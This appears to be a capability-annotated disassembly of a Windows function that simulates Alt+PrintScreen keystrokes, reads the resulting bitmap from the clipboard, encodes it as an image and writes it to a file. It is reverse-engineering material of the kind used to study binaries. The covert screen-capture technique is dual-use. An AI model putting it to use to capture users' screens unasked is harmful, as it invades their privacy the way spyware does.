Function at 0x100fe2a0
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10255e5f
mov eax, dword fs:[0]
push eax
sub esp, 0x174
mov eax, dword [0x103e1bc0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x178], ecx
push 0
push 0
push 0
mov dword [ebp - 0x174], 0
mov esi, dword [sym.imp.USER32.dll_keybd_event]
push 0x12
call esi
push 0
push 0
push 0
push 0x2c
call esi
push 0
push 2
push 0
push 0x2c
call esi
push 0
push 2
push 0
push 0x12
call esi
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
push 2
call dword [sym.imp.USER32.dll_GetClipboardData]
mov ebx, eax
call dword [sym.imp.USER32.dll_CloseClipboard]
xorps xmm0, xmm0
mov dword [ebp - 0x14], 0
movq qword [ebp - 0x1c], xmm0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
lea eax, [ebp - 0x11c]
mov dword [ebp - 4], 0
push eax
push 1
push 0
mov dword [ebp - 0x11c], 0
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
push 0x34
lea eax, [ebp - 0x50]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x50], vtable.ATL::CImage.0
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
call fcn.100fda90
mov esi, eax
lea edi, [esi + 4]
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
inc dword [esi + 0x1c]
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea eax, [ebp - 0x170]
mov byte [ebp - 4], 1
push eax
push 0x54
push ebx
mov dword [ebp - 0x4c], ebx
call dword [sym.imp.GDI32.dll_GetObjectW]
cmp eax, 0x54
jne 0x100fe43d
mov esi, dword [ebp - 0x150]
mov eax, esi
mov ecx, dword [ebp - 0x154]
cdq
mov edi, eax
mov dword [ebp - 0x44], ecx
movzx eax, word [ebp - 0x14a]
xor edi, edx
mov dword [ebp - 0x38], eax
sub edi, edx
imul eax, ecx
mov byte [ebp - 0x34], 1
mov dword [ebp - 0x40], edi
add eax, 0x1f
cdq
and edx, 0x1f
lea ecx, [edx + eax]
mov edx, dword [ebp - 0x15c]
sar ecx, 5
shl ecx, 2
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x48], edx
test esi, esi
jle 0x100fe46b
lea eax, [edi - 1]
imul eax, ecx
add eax, edx
neg ecx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x3c], ecx
jmp 0x100fe46b
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0x40], eax
movzx eax, word [ebp - 0x15e]
mov byte [ebp - 0x34], 0
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x48], 0
push ecx
push dword [ebp - 0x11c]
lea ecx, [ebp - 0x50]
mov dword [ebp - 0x30], 0xffffffff
mov byte [ebp - 0x33], 0
call fcn.100fdc00
lea eax, [ebp - 0x58]
push eax
push dword [ebp - 0x11c]
call dword [sym.imp.SHLWAPI.dll_IStream_Size]
mov ebx, dword [ebp - 0x58]
push dword [ebp - 0x11c]
mov dword [ebp - 0x174], ebx
call dword [sym.imp.SHLWAPI.dll_IStream_Reset]
test ebx, ebx
je 0x100fe4c3
push ecx
push ebx
lea ecx, [ebp - 0x1c]
call fcn.100fe9a0
mov esi, dword [ebp - 0x14]
mov edi, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x1c]
jmp 0x100fe4c9
xor ebx, ebx
xor esi, esi
xor edi, edi
push dword [ebp - 0x174]
lea eax, [ebx + 0x10]
push eax
push dword [ebp - 0x11c]
call dword [sym.imp.SHLWAPI.dll_IStream_Read]
mov eax, dword [ebp - 0x11c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
push 0xc0
lea eax, [ebp - 0x118]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x118], 0x103d0114
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0x108], 0x103c8ce4
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::constructor_void_]
push 0
lea eax, [ebp - 0x100]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x118]
mov dword [ebp - 0x174], 1
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char____]
mov dword [ebp - 4], 3
mov eax, dword [ebp - 0x118]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_fstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_fstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x118]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x78]
mov dword [ebp + ecx - 0x11c], eax
lea ecx, [ebp - 0x100]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void_]
lea ecx, [ebp - 0x100]
mov dword [ebp - method.std::basic_filebuf_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [ebp - 0xb8], 0
mov byte [ebp - 0xc3], 0
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void_]
mov eax, dword [0x104690c0]
mov ecx, dword [0x104690c4]
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0xc8], 0
mov eax, dword [ebp - 0x178]
mov byte [ebp - 4], 4
cmp dword [eax + 0x14], 0xf
jbe 0x100fe5df
mov eax, dword [eax]
push ecx
push 0x22
push eax
lea ecx, [ebp - 0x100]
call fcn.10065660
test eax, eax
lea ecx, [ebp - 0x118]
mov eax, dword [ebp - 0x118]
push 0
je 0x100fe60d
add ecx, dword [eax + 4]
push 0
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool_]
jmp 0x100fe618
add ecx, dword [eax + 4]
push 2
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
push 0
sub edi, ebx
lea eax, [ebx + 0x10]
push edi
push eax
lea ecx, [ebp - 0x108]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
lea ecx, [ebp - 0x100]
call fcn.10064700
test eax, eax
jne 0x100fe654
push eax
mov eax, dword [ebp - 0x118]
lea ecx, [ebp - 0x118]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
lea ecx, [ebp - 0x180]
mov dword [ebp - 0x180], 0x28
mov dword [ebp - 0x17c], 0
call fcn.100475d0
lea ecx, [ebp - 0x118]
call fcn.100fe720
mov eax, dword [ebp - 0x4c]
test eax, eax
je 0x100fe68c
push eax
call dword [sym.imp.GDI32.dll_DeleteObject]
call fcn.100fda90
mov edi, eax
lea eax, [edi + 4]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
add dword [edi + 0x1c], 0xffffffff
jne 0x100fe6ca
lea eax, [edi + 4]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [edi]
test eax, eax
je 0x100fe6ba
push eax
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
lea eax, [edi + 4]
mov dword [edi], 0
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea eax, [edi + 4]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test ebx, ebx
je 0x100fe704
sub esi, ebx
mov eax, ebx
cmp esi, 0x1000
jb 0x100fe6fa
mov ebx, dword [eax - 4]
add esi, 0x23
sub eax, ebx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100fe6fa
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push esi
push ebx
call fcn.1024dd81
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1024d940
mov esp, ebp
pop ebp
ret